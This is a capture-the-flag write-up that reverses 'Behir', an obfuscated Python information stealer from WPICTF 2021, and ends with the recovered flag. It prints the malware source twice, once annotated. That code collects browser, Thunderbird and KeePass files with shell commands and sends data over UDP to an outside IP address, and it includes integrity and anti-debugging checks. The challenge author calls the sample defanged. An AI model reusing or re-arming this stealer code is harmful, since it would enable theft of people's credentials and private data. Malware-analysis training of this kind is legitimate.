Challenge: Behir
Author: Shotokhan
Description: Reversing obfuscated Python malware
CTF: WPICTF 2021
Category: Reverse

Task

The information stealer Behir.py ate everything - including the flag. It should be somewhere in the malware. Be careful though, it’s still a dangerous monster.

Abjuri5t (John F) *Important note: In its default state, the script is “defanged” and shouldn’t exfiltrate any stolen information. However, this can easily be changed and you may accidentally harm your computer while solving the challenge. PLEASE make sure that you run this malware in a virtual machine/isolated lab/sandboxed enviornment. The sample file is stored in an encrypted zip with the password “infected”. I am not responsible if your sensitive information is stolen.

Unzipped malware code

Let’s unzip the encrypted zip file and look at Behir.py:

tressym = "fa86075165f2630ff80397bf98323716"
lightning = [".chrom"]
adventure = '/'

import os
import subprocess
import socket
import hashlib
import time


def main():
    ranger = int(time.time())
    if(str(hashlib.md5(open(__file__, "rb").read()[43:]).hexdigest()) == tressym):
        ether = -1
        crawlingclaw = "who" + "ima"[::ether]
        ether = ether + 1
        owlbear = os.popen(crawlingclaw).read().split('\n')[ether]
        lightning[ether] = lightning[ether] + "iu" + lightning[ether][ether -1] + adventure
        pi = "PI.3.14159265"
        yeti = "pass"
        ether = ether + 1
        ancestral = makesoul(yeti) 
        arcane = "_info.log"
        ancestral[ether] = chr(123) + 'n' + makesoul(yeti)[ether].split('n')[ether]
        gold = "stolen" + arcane
        ancestral[ether] = 'w' + pi.split('.')[ether - ether] + ancestral[ether]
        gold = gold.replace('_', '-')
        for torrent in ancestral:
            lightning.append(torrent)
        ether = ether - ether
        lightning.append(".kee" + yeti + '2' + adventure)
        for fire in range(len(lightning)):
            lightning[fire] = lightning[fire].replace('_', '-')
            lightning[fire] = lightning[fire].replace('w', 'W')
        bludgeoning = int(time.time())
        if(bludgeoning - ranger <= 2):
            evocation = len(lightning)
            for castle in range(evocation): #Ya the ".keepass2/" one is ambitious... but I have seen malware do this
                devour(lightning[castle], owlbear, gold)
            for aboleth in range(evocation):
                lightning.pop(ether)
            circle("WPI")


def devour(poison, gods, tome):
    ether = -1
    if(poison[ether] == adventure):
        cat = "cat"
        buckler = adventure + "home" + adventure + gods + adventure + poison
        lightning.append(bytes(buckler, "ascii"))
        acid = "find " + buckler + " -type f -exec " + cat + " {} + > " + tome
        os.system(acid)
        spell = open(tome, "rb")
        ate = spell.read()
        spell.close()
        lightning.append(ate)


def circle(viciousMockery):
    ether = 0
    roc = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    while(ether < 1337):
        ether = ether + 1
    for elf in lightning:
        drow = bytes('0', "ascii") #I remove the data, but you REALLY should run this in a sandboxed environment
        roc.sendto(drow, ("158.58.184.213", ether)) #this is not a nice IP, be careful what you send here


def makesoul(orb):
    soul = []
    litch = soulMore(orb)
    soul.append(litch)
    soul.append(soul[0].lower())
    litch = swords()
    soul[0] = litch + "Ice" + "weasel"
    soul[0] = soul[0] + adventure
    soul[1] = soul[1] + chr(125)
    soul.append(litch + "Thunder" + "bird" + adventure)
    return soul


def soulMore(craft):
    ether = 0
    vampire = ""
    eldritch = ["auto", "fill", craft, "word"]
    eldritch[ether] = eldritch[ether] + eldritch[ether + 1]
    ether = ether + 1
    eldritch[ether] = eldritch[ether + ether] + eldritch[ether + ether + ether]
    eldritch[len(eldritch) - ether] = "NEVER"
    eldritch[len(eldritch) - 2] = "use"
    eldritch = eldritch[::-1]
    for martial in eldritch:
        vampire = vampire + '_'
        vampire = vampire + martial
    return vampire


def swords():
    ether = -1
    return chr(46) + lightning[ether + 1][4:6][::ether] + "zilla" + adventure



main()

It is an obfuscated Python “malware”; looks like it does data exfiltration, sending data to 158.58.184.213. Let’s reverse it by doing static analysis.

Writeup

At first, it checks for the integrity of itself, by computing the MD5 digest and checking it against a pre-computed one, so if you modify the file without modifying the digest, the malware won’t “explode”.
At last, before preparing data to send and before sending data, it checks that the execution so far less took less than 2 seconds: it is a form of anti-debugging.
In the middle, there are obfuscated lines of code and obfuscated functions: the malware reads data from different common folders containing sensitive user data, using system commands.
The idea is that it uses the first obfuscated part to prepare the names of the targets, and the second part (after the “anti-debug check”) to execute commands to prepare the data that will be sent.
At this point, the best thing is to look again at the Python file, but with comments: to solve the challenge, we followed the execution flow one instruction at a time, by hand, writing the results of instructions and the values of variables in comments.

tressym = "fa86075165f2630ff80397bf98323716"
lightning = [".chrom"]
adventure = '/'

import os
import subprocess
import socket
import hashlib
import time


def main():
    ranger = int(time.time())
    if(str(hashlib.md5(open(__file__, "rb").read()[43:]).hexdigest()) == tressym):	# if you change it, you have to update md5 tressym
        ether = -1
        crawlingclaw = "who" + "ima"[::ether]	# whoami
        ether = ether + 1
        owlbear = os.popen(crawlingclaw).read().split('\n')[ether]	# execute whoami and save the result in owlbear
        lightning[ether] = lightning[ether] + "iu" + lightning[ether][ether -1] + adventure	# .chromium/ in lightning[0]
        pi = "PI.3.14159265"
        yeti = "pass"
        ether = ether + 1	# at this poit, ether is equal to 1
        ancestral = makesoul(yeti) 
        # ancestral: [".mozilla/Iceweasel/", "never_use_password_autofill}", ".mozilla/Thunderbird/"]
        arcane = "_info.log"
        ancestral[ether] = chr(123) + 'n' + makesoul(yeti)[ether].split('n')[ether]
        # ancestral[1]: "{never_use_password_autofill}"
        gold = "stolen" + arcane	# stolen_info.log
        ancestral[ether] = 'w' + pi.split('.')[ether - ether] + ancestral[ether]
        # ancestral[1]: wPI{never_use_password_autofill}
        gold = gold.replace('_', '-')	# stolen-info.log
        for torrent in ancestral:
            lightning.append(torrent)
        # lightning = [".chromium/", ".mozilla/Iceweasel/", "wPI{never_use_password_autofill}", ".mozilla/Thunderbird/"]
        ether = ether - ether	# 0, obviously
        lightning.append(".kee" + yeti + '2' + adventure)	# .keepass2/
        for fire in range(len(lightning)):
            lightning[fire] = lightning[fire].replace('_', '-')
            lightning[fire] = lightning[fire].replace('w', 'W')
	# lightning = ['.chromium/', '.mozilla/IceWeasel/', 'WPI{never-use-passWord-autofill}', '.mozilla/Thunderbird/', '.keepass2/']
        bludgeoning = int(time.time())
        if(bludgeoning - ranger <= 2):	# if the execution took less than 2 seconds
            evocation = len(lightning)	# 5
            for castle in range(evocation): #Ya the ".keepass2/" one is ambitious... but I have seen malware do this
                devour(lightning[castle], owlbear, gold)	# second and third parameter: <user> (result of whoami), stolen-info.log
            for aboleth in range(evocation):
                lightning.pop(ether)
            # at this point, lightning is much like before, but strings are in byte format, like b'.chromium/' and so on, and between a folder name and another
            # there is the CONTENT in byte format read from the previously specified folder
            circle("WPI")	# input parameter is unused; this function performs data exfiltration, by sending 'lightning' list


def devour(poison, gods, tome):
    ether = -1
    if(poison[ether] == adventure):	# true for all elements of lightning that are in the list before 'devour' function calls
        cat = "cat"
        buckler = adventure + "home" + adventure + gods + adventure + poison	# /home/<user>/lightning[i] , for example /home/mike/.chromium/
        lightning.append(bytes(buckler, "ascii"))	# for example b'.chromium/'
        acid = "find " + buckler + " -type f -exec " + cat + " {} + > " + tome	# find /home/<user>/lightning[i] -type -f -exec cat {} + > stolen-info.log
        os.system(acid)	# make a query and if the file is there, read its contents and copy them to stolen-info.log
        spell = open(tome, "rb")	# read result from stolen-info.log
        ate = spell.read()
        spell.close()
        lightning.append(ate)		# append sensitive data read to lightning


def circle(viciousMockery):
    ether = 0
    roc = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    while(ether < 1337):
        ether = ether + 1
    for elf in lightning:
        # it is implemented like a stub, because like you can see, 'elf' variable is not sent
        drow = bytes('0', "ascii") #I remove the data, but you REALLY should run this in a sandboxed environment
        roc.sendto(drow, ("158.58.184.213", ether)) #this is not a nice IP, be careful what you send here


def makesoul(orb):
    soul = []
    litch = soulMore(orb) # f"NEVER_use_{orb}word_autofill"
    soul.append(litch)
    soul.append(soul[0].lower())	# at this point, soul is a list of 2 elements; the second is f"never_use_{orb.lower()}word_autofill"
    litch = swords()	# .mozilla/
    soul[0] = litch + "Ice" + "weasel" # f".mozilla/Iceweasel"
    soul[0] = soul[0] + adventure # f".mozilla/Iceweasel/"
    soul[1] = soul[1] + chr(125) # f"never_use_{orb.lower()}word_autofill}"
    soul.append(litch + "Thunder" + "bird" + adventure) # element added: f".mozilla/Thunderbird/"
    return soul		# [".mozilla/Iceweasel/", f"never_use_{orb.lower()}word_autofill}", ".mozilla/Thunderbird/"]


def soulMore(craft):
    ether = 0
    vampire = ""
    eldritch = ["auto", "fill", craft, "word"]
    eldritch[ether] = eldritch[ether] + eldritch[ether + 1]	# "autofill" at index 0
    ether = ether + 1
    eldritch[ether] = eldritch[ether + ether] + eldritch[ether + ether + ether]		# craft + "word" at index 1 
    eldritch[len(eldritch) - ether] = "NEVER"	# "NEVER" at index 3
    eldritch[len(eldritch) - 2] = "use"		# "use" at index 2
    eldritch = eldritch[::-1]	# at this point eldritch is: ["NEVER", "use", craft + "word", "autofill"]
    for martial in eldritch:
        vampire = vampire + '_'
        vampire = vampire + martial
    return vampire	# f"NEVER_use_{craft}word_autofill"


def swords():
    ether = -1
    return chr(46) + lightning[ether + 1][4:6][::ether] + "zilla" + adventure	# .mozilla/



main()

After a few failed attempts with the CTF’s website, we found out what was the flag:

WPI{never-use-password-autofill}